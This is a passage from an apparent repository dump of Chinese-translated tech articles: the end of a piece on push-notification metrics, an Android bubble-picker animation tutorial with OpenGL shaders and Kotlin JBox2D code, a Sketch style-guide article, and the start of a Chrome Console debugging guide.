with the promotion code. That’s why you need to test everything.\n\nBut a tendency to track only positive metrics (e.g. sign-ins) is a big mistake. You should have _a big picture_ and track all major metrics:\n\n*   _Goal achievement:_“Does the notification drive users to take the desired action?” Examples of goal achievement: social shares, purchases, sign-ins, and more.\n*   _User engagement_: “Did the notification enhance and enrich the user’s app experience?” An important metric for answering this question is the number of users who re-engaged with your app after receiving the push notification. Tracking this metric is a good way to validate that the notification was _user-centric, not company-centric_.\n*   _App uninstalls & push opt-outs:_ The number of app uninstalls or push opt-outs that have been generated as a result of the notification. When you are measuring this number in _real time_, it’s easy to adjust or cancel any detrimental notification campaigns before it’s too late.\n\n<h3 name=\"3187\" id=\"3187\" class=\"graf--h3 graf-after--li\">5. Establish a Messaging Strategy</h3>\n\nThe best way to establish an effective mobile app messaging strategy is to use different message types — push notifications, email, in-app notifications, and news feed messaging.\n\n![](https://d262ilb51hltx0.cloudfront.net/max/800/1*BEdI6YjX0sgqXT6deQrrrw.jpeg)\n\n<figcaption>Select proper notification type based on urgency and content. Source: [Appboy](https://www.appboy.com)</figcaption>\n\nDiversify your messaging — your messages should work together in perfect harmony to create a great user experience.\n\n<h3 name=\"3f58\" id=\"3f58\" class=\"graf--h3 graf-after--p\">Conclusion</h3>\n\nMobile is all about making every message count.\n\nNotifications can add real value to your users’ lives are critical to improving your brand, and in turn your revenue. Just remember these key takeaways as you embark on the journey to send great notifications:\n\n*   _Personalizing the message_ content ensures that users receive information that is relevant and valuable to them.\n*   A successful notification strategy approaches _message timing_ from the perspective of the user.\n*   Before you send any notifications, you should _choose a goal_ and _track the necessary metrics_ to determine if the communication worked.\n*   _Diversify_ your messaging. Push notifications alone won’t cut it.\n\nI hope this article was interesting and you got a good understanding of how to optimize your notification campaigns.\n\nThank you!\n"
  },
  {
    "path": "TODO/how-to-create-a-bubble-selection-animation-on-android.md",
    "content": "> * 原文地址：[How to Create a Bubble Selection Animation on Android](https://medium.com/@igalata13/how-to-create-a-bubble-selection-animation-on-android-627044da4854#.7iwkfupy7)\n> * 原文作者：[Irina Galata](https://medium.com/@igalata13?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[skyar2009](https://github.com/skyar2009)\n> * 校对者：[zhaochuanxing](https://github.com/zhaochuanxing), [ylq167](https://github.com/ylq167)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*i1B2ZqmzIJDI3eZrKhFhhw.png\">\n\n# Android 如何实现气泡选择动画 #\n\n**作者：[Irina Galata](https://github.com/igalata) Android 开发者；[Yulia Serbenenko](https://dribbble.com/yuyonder) UI/UX 设计师**\n\n跨平台用户体验统一正处于增长趋势：早些时候 iOS 和安卓有着不同的体验，但是最近在应用设计以及交互方面变得越来越接近。\n\n从安卓 Nougat 的[底部导航](https://material.io/guidelines/components/bottom-navigation.html#)到分屏特性，两个平台间有了许多相同之处。对设计师而言，我们可以将主流功能设计成两个平台一致（过去需要单独设计）。对开发者而言，这是一个提高、改进开发技巧的好机会。\n\n所以我们决定开发一个安卓气泡选择的组件库 —— 灵感来自于[苹果音乐](http://www.apple.com/lae/apple-music/)的气泡选择。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*CNJ0D-EBz0l_JAyRzqo4Uw.gif\">\n\n\n### **先说设计** ###\n\n我们的气泡选择动画是一个好的范例，它对不同的用户群体有着同样的吸引力。气泡以方便的 UI 元素汇总信息，通俗易懂并且视觉一致。它让界面对新手足够简单的同时还能吸引老司机的兴趣。\n\n这种动画类型对丰富应用的内容由很大帮助，主要使用场景是：用户要从一系列选项中进行选择时的页面。例如，我们使用气泡来选择旅游应用中潜在目的地名字。气泡自由的浮动，当用户点击一个气泡时，选中的气泡会变大。这给用户很深刻的反馈并增强操作的直观感受。\n\n组件使用白色主题，明亮的颜色和图片贯穿始终。此外，我决定试验渐变来增加深度和体积。渐变可能是主要的显示特征，会吸引新用户的注意。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*IUb8sRFq9huEwVB2gUXtOw.png\">\n\n气泡选择的渐变\n\n我们允许开发者自定义所有的 UI 元素，所以我们的组件适合任意的应用。\n\n\n### **再看开发者的挑战** ###\n\n当我决定实现这个动画时，我面临的第一个问题就是使用什么工具开发。我清楚知道绘制如此快速的动画在 Canvas 上绘制的效率是不够的，所以决定使用 OpenGL (Open Graphics Library)。OpenGL 是一个跨平台的 2D 和 3D 图形绘制应用开发接口。幸运地是，Android 支持部分版本的 OpenGL。\n\n我需要圆自然地运动，就像碳酸饮料中的气泡那样。对 Android 来说有许多可用的物理引擎，同时我又有一些特定需要，使得选择变得更加困难。我的需求是：引擎要轻量级并且方便嵌入 Android 库。多数的引擎是为游戏开发的，并且它们需要调整工程结构来适应它们。功夫不负有心人，我最终找到了 JBox2D（C++ 引擎 Box2D 的 Java 版），因为我们的动画不需要支持大量的物理实体（例如 200+），使用非原版的 Java 版引擎已经足够了。\n\n此外，本文后面我会解释我为什么选择 Kotlin 语言开发，以及这样做的好处。需要了解 Java 和 Kotlin 更多不同之处可以阅读我之前的[文章](https://yalantis.com/blog/kotlin-vs-java-syntax/)。\n\n**如何创建着色器？**\n\n首先，我们需要理解 OpenGL 中的基础构件三角形，因为它是和其它形状类似且最简单的形状。所以你绘制的任意图形都是由一个或多个三角形组成。在动画实现中，我使用两个关联的三角形代表一个实体，所以我画圆的地方像一个正方形。\n\n绘制一个形状至少需要两个着色器 —— 顶点着色器和片段着色器。通过名字就可以区分他们的用途。顶点着色器负责绘制每个三角形的顶点，片段着色器负责绘制三角形中每个像素。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*4A0mOfyap101S8jYFuakjA.png\">\n\n三角形的片段和顶点\n\n顶点着色器负责控制图形的变化（例如：大小、位置、旋转），片段着色器负责形状的颜色。\n\n```\n// language=GLSL\nval vertexShader = \"\"\"\n    uniform mat4 u_Matrix;\n    attribute vec4 a_Position;\n    attribute vec2 a_UV;\n    varying vec2 v_UV;\n    void main()\n    {\n        gl_Position = u_Matrix * a_Position;\n        v_UV = a_UV;\n    }\n\"\"\"\n```\n\n\n顶点着色器\n\n```\n// language=GLSL\nval fragmentShader = \"\"\"\n    precision mediump float;\n    uniform vec4 u_Background;\n    uniform sampler2D u_Texture;\n    varying vec2 v_UV;\n    void main()\n    {\n        float distance = distance(vec2(0.5, 0.5), v_UV);\n        gl_FragColor = mix(texture2D(u_Texture, v_UV), u_Background, smoothstep(0.49, 0.5, distance));\n    }\n\"\"\"\n```\n\n\n片段着色器\n\n着色器使用 GLSL（OpenGL 着色语言） 编写，需要运行时编译。如果项目使用的是 Java，那么最方便的方式是在另一个文件编写你的着色器，然后使用输入流读取。如上述示例代码所示，Kotlin 可以简单地在类中创建着色器。你可以在 `\"\"\"` 中间添加任意的 GLSL 代码。\n\nGLSL 中有许多类型的变量：\n\n- 顶点和片段的 `uniform` 变量的值是相同的\n- 每个顶点的 `attribute` 变量是不同的\n- `varying` 变量负责从顶点着色器向片段着色器传递数据，它的值由片段线性地插入。\n\n`u_Matrix` 变量包含由圆初始化位置的 `x` 和 `y` 构成的变化矩阵，显然它的值对图形的所有顶点拉说都是相同的，类型为 `uniform`，然而顶点的位置是不同的，所以 `a_Position` 变量是 `attribute` 类型。`a_UV` 变量有两个用途：\n\n1. 确定当前片段和正方形中心位置的距离。根据这个距离，我可以调整片段的颜色而实现画圆。\n2. 正确地将 texture（照片和国家的名字）置于图形的中心位置。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*mCT2yR5xj0Pdg18txA4eWg.png\">\n\n圆的中心\n\n`a_UV` 包含 `x` 和 `y`，它们的值每个顶点都不同，取值范围是 0 ~ 1。我只给顶点着色器 `a_UV` 和 `v_UV` 两个入参，因此每个片段都可以插入 `v_UV`。并且对于片段中心点的 `v_UV` 值为 [0.5, 0.5]。我使用 `distance()` 方法计算两个点的距离。\n\n**使用** `smoothstep` **绘制平滑的圆**\n\n起初片段着色器看上去不太一样：\n\n`gl_FragColor = distance < 0.5 ? texture2D(u_Text, v_UV) : u_BgColor;`\n\n我根据点到中心的距离调整片段的颜色，没有采取抗锯齿手段。当然结果差强人意 —— 圆的边是凹凸不平的。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3_sJicaMDl7Y36TA2Sg23g.png\">\n\n有锯齿的圆\n\n解决方案是 `smoothstep`。它根据到 texture 与背景的变换起始点的距离平滑的从0到1变化。因此距离 0 到 0.49 时 texture 的透明度为 1，大于等于 0.5 时为 0，0.49 和 0.5 之间时平滑变化，如此圆的边就平滑了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*QK7o0G1iA6vKe_nNYad4FA.png\">\n\n无锯齿圆\n\n\n**OpenGL 中如何使用 texture 显示图像和文本？**\n\n在动画中圆有两种状态 —— 普通和选中。在普通状态下圆的 texture 包含文字和颜色，在选中状态下同时包含图像。因此我需要为每个圆创建两个不同的 texture。\n\n我使用 Bitmap 实例来创建 texture，绘制所有元素。\n\n```\nfun bindTextures(textureIds: IntArray, index: Int) {\n        texture = bindTexture(textureIds, index * 2, false)\n        imageTexture = bindTexture(textureIds, index * 2 + 1, true)\n    }\n\n    private fun bindTexture(textureIds: IntArray, index: Int, withImage: Boolean): Int {\n        glGenTextures(1, textureIds, index)\n        createBitmap(withImage).toTexture(textureIds[index])\n        return textureIds[index]\n    }\n\n    private fun createBitmap(withImage: Boolean): Bitmap {\n        var bitmap = Bitmap.createBitmap(bitmapSize.toInt(), bitmapSize.toInt(), Bitmap.Config.ARGB_4444)\n        val bitmapConfig: Bitmap.Config = bitmap.config ?: Bitmap.Config.ARGB_8888\n        bitmap = bitmap.copy(bitmapConfig, true)\n\n        val canvas = Canvas(bitmap)\n\n        if (withImage) drawImage(canvas)\n        drawBackground(canvas, withImage)\n        drawText(canvas)\n\n        return bitmap\n    }\n\n    private fun drawBackground(canvas: Canvas, withImage: Boolean) {\n        ...\n    }\n\n    private fun drawText(canvas: Canvas) {\n        ...\n    }\n\n\n    private fun drawImage(canvas: Canvas) {\n        ...\n    }\n```\n\n之后我将 texture 单元赋值给 `u_Text` 变量。我使用 `texture2()` 方法获取片段的真实颜色，`texture2()` 接收 texture 单元和片段顶点的位置两个参数。\n\n**使用 JBox2D 让气泡动起来**\n\n关于动画的物理特性十分的简单。主要的对象是 `World` 实例，所有的实体创建都需要它。\n\n```\nclass CircleBody(world: World, var position: Vec2, var radius: Float, var increasedRadius: Float) {\n\n    val decreasedRadius: Float = radius\n    val increasedDensity = 0.035f\n    val decreasedDensity = 0.045f\n    var isIncreasing = false\n    var isDecreasing = false\n    var physicalBody: Body\n    var increased = false\n\n    private val shape: CircleShape\n        get() = CircleShape().apply {\n            m_radius = radius + 0.01f\n            m_p.set(Vec2(0f, 0f))\n        }\n\n    private val fixture: FixtureDef\n        get() = FixtureDef().apply {\n            this.shape = this@CircleBody.shape\n            density = if (radius > decreasedRadius) decreasedDensity else increasedDensity\n        }\n\n    private val bodyDef: BodyDef\n        get() = BodyDef().apply {\n            type = BodyType.DYNAMIC\n            this.position = this@CircleBody.position\n        }\n\n    init {\n        physicalBody = world.createBody(bodyDef)\n        physicalBody.createFixture(fixture)\n    }\n\n}\n```\n\n\n如你所见创建实体很简单：需要指定实体的类型（例如：动态、静态、运动学）、位置、半径、形状、密度以及运动。\n\n每次画面绘制，都需要调用 `World` 的 `step()` 方法移动所有的实体。之后你可以在图形的新位置进行绘制。\n\n我遇到的问题是 `World` 的重力只能是一个方向，而不能是一个点。JBox2D 不支持轨道重力。因此将圆移动到屏幕中心是无法实现的，所以我只能自己来实现引力。\n\n```\nprivate val currentGravity: Float\n        get() = if (touch) increasedGravity else gravity\n\nprivate fun move(body: CircleBody) {\n        body.physicalBody.apply {\n            val direction = gravityCenter.sub(position)\n            val distance = direction.length()\n            val gravity = if (body.increased) 1.3f * currentGravity else currentGravity\n            if (distance > step * 200) {\n                applyForce(direction.mul(gravity / distance.sqr()), position)\n            }\n        }\n}\n```\n\n\n\n引擎\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*UDW4eHZzF9VHQjDUQkbQCQ.png\">\n\n引力挑战\n\n每次发生移动时，我计算出力的大小并作用于每个实体，看上去就像圆受引力作用在移动。\n\n\n**GlSurfaceView 中检测用户触摸事件**\n\n`GLSurfaceView` 和其它的 Android view 一样可以响应用户的点击事件。\n\n```\noverride fun onTouchEvent(event: MotionEvent): Boolean {\n        when (event.action) {\n            MotionEvent.ACTION_DOWN -> {\n                startX = event.x\n                startY = event.y\n                previousX = event.x\n                previousY = event.y\n            }\n            MotionEvent.ACTION_UP -> {\n                if (isClick(event)) renderer.resize(event.x, event.y)\n                renderer.release()\n            }\n            MotionEvent.ACTION_MOVE -> {\n                if (isSwipe(event)) {\n                    renderer.swipe(event.x, event.y)\n                    previousX = event.x\n                    previousY = event.y\n                } else {\n                    release()\n                }\n            }\n            else -> release()\n        }\n\n        return true\n}\n\nprivate fun release() = postDelayed({ renderer.release() }, 1000)\n\nprivate fun isClick(event: MotionEvent) = Math.abs(event.x - startX) < 20 && Math.abs(event.y - startY) < 20\n\nprivate fun isSwipe(event: MotionEvent) = Math.abs(event.x - previousX) > 20 && Math.abs(event.y - previousY) > 20\n\n```\n\n\n\n`GLSurfaceView` 拦截所有的点击，并用渲染器进行处理。\n\n```\nfun swipe(x: Float, y: Float) = Engine.swipe(x.convert(glView.width, scaleX),\n            y.convert(glView.height, scaleY))\n\nfun release() = Engine.release()\n\nfun Float.convert(size: Int, scale: Float) = (2f * (this / size.toFloat()) - 1f) / scale\n\n```\n\n渲染器\n\n```\nfun swipe(x: Float, y: Float) {\n        gravityCenter.set(x * 2, -y * 2)\n        touch = true\n}\n\nfun release() {\n        gravityCenter.setZero()\n        touch = false\n}\n```\n\n引擎\n\n用户点击屏幕时，我将重力中心设为用户点击点，这样看起来就像用户在控制气泡的移动。用户停止移动后我会将气泡恢复到初始位置。\n\n**根据用户点击坐标查找气泡**\n\n当用户点击圆时，我从 `onTouchEvent()` 方法获取屏幕点击点。但是我也需要找到 OpenGL 坐标系中点击的圆。`GLSurfaceView` 的默认中心位置坐标为 [0, 0]，`x` `y` 取值范围为 -1 到 1。所以我需要考虑屏幕的比例。\n\n```\nprivate fun getItem(position: Vec2) = position.let {\n        val x = it.x.convert(glView.width, scaleX)\n        val y = it.y.convert(glView.height, scaleY)\n        circles.find { Math.sqrt(((x - it.x).sqr() + (y - it.y).sqr()).toDouble()) <= it.radius }\n}\n```\n\n渲染器\n\n当找到选择的圆后，我会修改它的半径和 texture。\n\n\n### 你可以随机的使用本组件! ###\n\n我们的组件可以让应用更聚焦内容、原始以及充满乐趣。\n\n**以下途径可以获取 Bubble Picker ：** [**GitHub**](https://github.com/igalata/Bubble-Picker) , [**Google Play**](https://play.google.com/store/apps/details?id=com.igalata.bubblepickerdemo) **以及** [**Dribbble**](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component) **。**\n\n这只是组件的第一个版本，但我们肯定会有后续的迭代。我们将支持自定义气泡的物理特性和通过 url 添加动画的图像。此外，我们还计划添加一些新特性（例如：移除气泡）。\n\n不要犹豫把您的实验发给我们，我们非常想知道您是怎样使用 Bublle Picker 的。如果您有任何问题或者建议，欢迎随时联系我们。\n\n我们将会继续发布一些炫酷的东西。敬请期待！"
  },
  {
    "path": "TODO/how-to-create-a-front-end-framework-with-sketch.md",
    "content": "> * 原文地址：[How to create a FRONT END FRAMEWORK with Sketch](https://medium.com/sketch-app-sources/how-to-create-a-front-end-framework-with-sketch-2379edb5e7df#.r6g3tx6wk)\n* 原文作者：[Seba Mantel](https://medium.com/@sebamantel)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Ruixi](https://github.com/Ruixi)\n* 校对者：[marcmoore](https://github.com/marcmoore),[AceLeeWinnie](https://github.com/AceLeeWinnie)\n\n# 如何用 Sketch 打造「前端框架」\n\n![](https://cdn-images-1.medium.com/max/800/1*5XO0vb0mmbRoCLvB1Laxww.png)\n\n前端框架\n**需要考虑的事项：**\n\n当我们与一大群设计师同时推进同一个项目的时候，要做到协调一致非常困难。而在面对有审美要求、对指定行为和互动有明确要求的系统性项目时尤为如此。\n\n我们可用于建立界面的标准化的手段之一就是定义一份风格指南（纯视觉角度），这样可以帮助整个设计团队避免在未来可能出现的改动带来的不必要的工作时间，提高工作效率。让我们可以把精力更好的集中在组件的行为和应用中的交互上。\n\n一份优秀的风格指南需要被团队全员采用，比如开发者、产品负责人、项目经理，甚至客户都要接受。这对各个成员之间的沟通与合作有极大裨益。我们称这种“升级版”的风格指南为 **前端框架(FEF)**。\n\n在开始动手制作 **风格指南** 之前，有几条原则需要你牢记在心： \n\n> **必须可用** 且必须易于融入不同的工作流之中。\n\n> **必须有教育引导的作用** 且需要包含可以帮助我们创造新的组件和交互的样板。\n\n> **必须可视化** 且规范明确。\n\n> **必须协同**，这样每个成员都可以修改和添加新内容。\n\n> **必须随时更新**，所以它应该放在一个特殊的库里，无论是谁做了修改都得更新文件。 \n\n### 来开始动手打造前端框架吧\n\n#### **第 1 步, 定义 IA：**\n\n**第一步是定义内容（根据项目，划分如下）：**\n\n1. **样式：** 色系，字型字体，icon。（这里 font family 和 typography 的含义比较接近，于是对字体类型的选用和对字体本身的格式要求做了合并，另附[参考文章](http://blog.justfont.com/2013/02/some_nouns/)，译者注）\n2. **版式布局和页面模式** 不同的组合元素，网格和主导航。\n3. **导航元素：** 链接，标签和分页。\n4. **模态对话框：** 弹出框，工具提示（提示框），下拉菜单，消息对话框。\n5. **文本输入：** 表单。\n6. **组件**\n\n#### **第 2 步， 创建前端框架内容:**\n\n**样式**— 首先需要定义主色，次色和其他辅助色，并指定其所适用的 RGB 色值。\n\n![](https://cdn-images-1.medium.com/max/800/1*0680BvMRMDvOqv4MRA4VQg.png)\n\n色彩\n然后在 sketch 里创建 shared style，以便在未来的设计工作中优化工作流程。\n\n![](https://cdn-images-1.medium.com/max/800/1*21VbE5DSGT7keM78gPgmwQ.png)\n\n创建新的 shared style\n在前端框架中合理的组件命名会使 sketch 中的样式表更加有条理。\n\n![](https://cdn-images-1.medium.com/max/800/1*HF9eeJVg8B9SPtTZaILG8g.png)\n\n这样，在我们想要快速更改一个组件的颜色的时候，只需要在 style 中进行更改，而且可以确保不会混入其他的色彩。\n\n![](https://cdn-images-1.medium.com/max/800/1*BECrGby5mDvj2CvH0PD7Tw.gif)\n\n对于版式，也是 **类似的步骤** ：\n\n![](https://cdn-images-1.medium.com/max/800/1*7Y7b4PgKIfW0ZjfQRVdeYw.png)\n\n1. 详细定义将会在设计中使用的字体，主要的和次要的。\n\n2. 和颜色类似，在 sketch 中创建 style。\n\n![](https://cdn-images-1.medium.com/max/800/1*r5kXboT_OU3FuvYW-JTdDA.png)\n\n在创建字体和色彩的样式之后，添加将要用到的全系列 icon ，并将其转化为 symbol。这样，如果有人更改它们的话，凡是用到它们的地方都会同时修改。\n\n![](https://cdn-images-1.medium.com/max/800/1*zY38WGccGulaGcDx9mN_pQ.png)\n\n**Tip**: 创建同一 icon 的不同状态，将其按照 **组件名/状态/子状态** 的规则命名。这样我们就可以轻易地从主菜单访问到所有状态，不必再去修改原来的 icon 了。\n\n![](https://cdn-images-1.medium.com/max/800/1*Plvt7vP2xWMqdNddWTpAEg.png)\n\n这也同样适用于那些有多种状态的组件，比如复选框（checkbox）。相应的命名规则为：\n\n![](https://cdn-images-1.medium.com/max/600/1*x7SSpMS1HYyksCeGDlf0ew.png)\n\n1. *checkbox/normal*\n2. *checkbox/hover*\n3. *checkbox/focus/minus*\n4. *checkbox/focus/check*\n5. *checkbox/pressed*\n6. *checkbox/disabled/check*\n7. *checkbox/disabled*\n\n这些都会显示在顶部菜单的 **插入** 里。\n\n![](https://cdn-images-1.medium.com/max/800/1*kBtWUmlgfvJ9eTjD4B3srg.png)\n\n这样，修改状态就简单多了，有效地解决了设计中的不少麻烦。\n\n![](https://cdn-images-1.medium.com/max/800/1*O5oibWdHf0nAw2F_H2o3eQ.gif)\n\n### **第 3 步，创建组件：**\n\n在定义了通用样式并且在 sketch 中创建 style 之后，开始忙活组件吧，它们会在整个应用中不断被重复使用 （比如像是主导航啦，下拉菜单啦，弹出框，数据网格，等等）。这主要就是为了在创建新的界面的时候能让全体设计师保持一致。 \n\n我很喜欢用这些组件来举例子：\n\n![](https://cdn-images-1.medium.com/max/600/1*RsguKlz0WVVfrxnby2cGGg.png)\n\n工具提示，设计师要是想要改变背景色的话，就和在 style 中选择相应颜色一样简单。 \n\n---\n\n![](https://cdn-images-1.medium.com/max/600/1*rmoiLTbljAL_Iv_jREEfqw.gif)\n\n**表单** — **Tip** : 通过将文本框作为 symbol，可以在 sketch 中不访问 symbol 本体的情况下修改内容。*\n\n**每个组件都必须附带一段说明文本（何时使用以及将会产生的反应）。** 必要的话，你可以在右边指定一个部分来说明大小\\边距和样式。\n\n![](https://cdn-images-1.medium.com/max/1000/1*XTVyLYKhaCv1sbPbk36HQQ.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*2czyxGfUjQTlZlVcnYSHvQ.png)\n\n此规范的重点在于向开发团队提供信息，以便它们会被添加在同一文档或者 Zeplin 中来作为沟通工具。这样你就可以得到 css 值和下载组件了。\n\n---\n\n![](https://cdn-images-1.medium.com/max/800/1*jkfloUVJ4GNoYqjxhMkPmg.png)\n\n### **第 4 步，行为表现：**\n\n有些组件的大小（宽和高）取决于我们所使用的网格的大小，比如数据列表或数据网格。sketch 为这种类型的组件图提供了一系列的选项，以便预定义每个元素的位置，这个表格将会是响应式的。\n\n![](https://cdn-images-1.medium.com/freeze/max/30/1*GmMBqaF-_o8DSW15ofCA1Q.gif?q=20)\n\n![](https://cdn-images-1.medium.com/max/800/1*lsv9CluG3SLG1IiUtHrsoQ.gif)\n\n如何实现响应式效果呢？在 Sketch V39 中，添加了 4 个新的选项来实现这种效果。\n\n![](https://cdn-images-1.medium.com/max/600/1*2fdvGW7BjPqQJux63bv9BQ.png)\n\n选项如下：\n\n**Stretch** （默认）——在调整分组大小的时候浮动调整图层的大小（此选项适用于分割线和每一行的矩形）。\n\n**Pin to corner** —— 自动将新图层固定在最近的角落。在调整分组大小的时候不影响图层的大小。（适用于图标右上和和复选框。）\n\n**Resize object** —— 在调整分组大小的时候调整图层大小并保持其位置的百分比。（文本框必须有这个选项，来保证它们的边缘和左侧的分界线。）\n\n**Float in place** —— 在调整分组大小的时候图层大小不变，但其位置按照百分比缩放。（适用于必须在列中居中的 icon。）\n\n想要了解更多关于此类表格创建的信息，推荐以下文章： [https://medium.com/sketch-app-sources/https-medium-com-megaroeny-resizing-tables-withsketch-3-9-2e02e6382d3d#.fsx0udd9v](https://medium.com/sketch-app-sources/https-medium-com-megaroeny-resizing-tables-with-sketch-3-9-2e02e6382d3d#.fsx0udd9v)\n\n### **第 5 步，参考**\n\n最后，除了在所有应用中维护一种设计语言之外，每个元素的结构都可能随着产品需求和需要而变化。\n\n所以，建议创建最后一个章节，来展示组件如何依据功能需求来使用。这样设计者们可以分析并学习如何在不同的架构下复用样式。\n\n![](https://cdn-images-1.medium.com/max/1000/1*7dwpsMQbPutwLDEz8cCzfg.png)\n\n\n### **共同的未来**\n\n在一个复杂的项目中，将团队全体成员的工作建立在一份风格指南之上可以大大提高工作效率，这种协调可以有效避免类似“某个组件在较小分辨率下的行为是什么”的问题。\n\n大多数情况下，我们总是着力于尽快推出最初的版本，因此，问题是随着产品的产生而出现的。在这种情况下，前端框架可以有所作为而且避免一系列让人头疼的问题。\n\n这里是 sketch 文件，可随意下载。[https://www.dropbox.com/s/kknipcg3u0e69ds/FEF.sketch?dl=0](https://www.dropbox.com/s/kknipcg3u0e69ds/FEF.sketch?dl=0)\n"
  },
  {
    "path": "TODO/how-to-debug-front-end-console.md",
    "content": "> * 原文地址：[How to debug Front-end: Console](https://blog.pragmatists.com/how-to-debug-front-end-console-3456e4ee5504)\n> * 原文作者：[Michał Witkowski](https://blog.pragmatists.com/@WitkowskiMichau?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-debug-front-end-console.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-debug-front-end-console.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Raoul1996](https://github.com/Raoul1996)\n\n# 前端 Console 调试小技巧\n\n![](https://cdn-images-1.medium.com/max/800/1*7YqeM-SzGWEHzbROo_MyAQ.jpeg)\n\n开发者们在开发的过程中会无意地产生一些 bug。bug 越老，找到并修复它的难度就越高。在本系列的文章中，我将试着向你展示如何使用 Google Chrome 开发者工具、Chrome 插件以及 WebStorm 进行调试。\n\n这篇文章将介绍最常用的调试工具 —— Chrome Console。请享用！\n\n### Console\n\n打开 Chrome 开发者工具的方法：\n\n*   在主菜单中选择“更多工具”菜单 > 点击开发者工具。\n*   在页面任何元素上右键，选择“检查”。\n*   在 Mac 中，按下 Command+Option+I；在 Windows 与 Linux 中，按下 Ctrl+Shift+I。\n\n请观察 Console 选项卡中的内容。\n\n![](https://cdn-images-1.medium.com/max/800/0*ZggoM0sI_jj1QafW.)\n\n第一行：\n\n![](https://cdn-images-1.medium.com/max/600/1*-EAbAlPJaC22sk1R4z6GPA.png)\n\n- 清空 console 控制台\n\n`top` — 在默认状态下，Console 的上下文（context）为 top（顶级）。不过当你检查元素或使用 Chrome 插件上下文时，它会发生变化。\n你可以在此更改 console 执行的上下文（页面的顶级 frame）。\n\n**过滤：**\n对控制台的输出进行过滤。你可以根据输出严重级别、正则表达式对其进行过滤，也可以在此隐藏网络连接产生的消息。\n\n**设置：**\n`Hide network` — 隐藏诸如 404 之类的网络错误。\n`Preserve log` — 控制台将会在页面刷新或者跳转时不清空记录。\n`Selected context only` — 勾上后可以根据前面 top 选择的上下文来指定控制台的日志记录范围。\n`User messages only` — 隐藏浏览器产生的访问异常之类的警告。\n`Log XMLHttpRequests` — 顾名思义，记录 XMLHttpRequest 产生的信息。\n`Show timestamps` — 在控制台中显示时间戳信息。\n`Autocomplete from history` — Chrome 会记录你曾经输入过的命令，进行自动补全。\n\n### 选择合适的 Console API\n\n控制台会在你应用的上下文中运行你输入的 JS 代码。你可以轻松地通过控制台查看全局作用域中存储的东西，也可以直接输入并查看表达式的结果。例如：“null === 0”。\n\n#### console.log — 对象引用\n\n根据定义，console.log 将会在控制台中打印输出内容。除此之外，你还得知道，console.log 会对你展示的对象保持引用关系。请看下面的代码：\n\n```\nvar fruits = [{one: 1}, {two: 2}, {three: 3}];\nconsole.log('fruits before modification: ', fruits);\nconsole.log('fruits before modification - stringed: ', JSON.stringify(fruits));\nfruits.splice(1);\nconsole.log('fruits after modification: ', fruits);\nconsole.log('fruits after modification - stringed : ', JSON.stringify(fruits))\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*L5q3tcszjc1IYXRT.)\n\n当调试对象或数组时，你需要注意这点。我们可以看到 `fruits` 数组再被修改前包含 3 个对象，但之后发生了变化。如需要在特定时刻查看结果，可以使用 `JSON.stringify` 来展示信息。不过这种方法对于展示大对象来说并不方便。之后我们会介绍更好的解决方案。\n\n#### console.log — 对对象属性进行排序\n\nJavaScript 是否能保证对象属性的顺序呢？\n\n> 4.3.3 Object — ECMAScript 第三版 (1999)\n\n> 对象是 Object 的成员，它是一组无序属性的集合，每个属性都包含一个原始值、对象或函数。称存储在对象属性中的函数为方法。\n\n但是…… 在 ES5 中它的定义发生了改变，属性可以有序 —— 但你还是不能确定你的对象属性是否能按顺序排列。浏览器通过各种方法实现了有序属性。在 Chrome 中运行下面的代码，可以看到令人困惑的结果：\n\n```\nvar letters = {\n  z: 1,\n  t: 2,\n  k: 6\n};\nconsole.log('fruits', letters);\nconsole.log('fruits - stringify', JSON.stringify(letters));\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*aISOsYX8-BnOtWy4.)\n\nChrome 按照字母表的顺序对属性进行了排序。没法说我们是否应该喜欢这种排序方式，但了解这儿发生了什么总没坏处。\n\n#### console.assert(expression, message)\n\n如果 expression 表达式的结果为 `false`，`Console.assert` 将会抛出错误。关键的是，assert 函数不会由于报错而停止评估之后的代码。它可以帮助你调试冗长棘手的代码，或者找到多次迭代后函数自身产生的错误。\n\n```\nfunction callAssert(a,b) {\n  console.assert(a === b, 'message: a !== b ***** a: ' + a +' b:' +b);\n}\ncallAssert(5,6);\ncallAssert(1,1);\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*Pdq0UFBR4kCZA6iE.)\n\n#### console.count(label)\n\n简而言之，它就是一个会计算相同表达式执行过多少次的 `console.log`。其它的都一样。\n\n```\nfor(var i =0; i <=3; i++){\n\tconsole.count(i + ' Can I go with you?');\n\tconsole.count('No, no this time');\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*2yH13TAvSFpKrTWn.)\n\n如上面的例子所述，只有完全相同的表达式才会增加统计数字。\n\n#### console.table()\n\n很好用的调试函数，但即使它会提高工作效率，我也一般懒得用它…… 别像我这样，咱要保持高效。\n\n```\nvar fruits = [\n  { name: 'apple', like: true },\n  { name: 'pear', like: true },\n  { name: 'plum', like: false 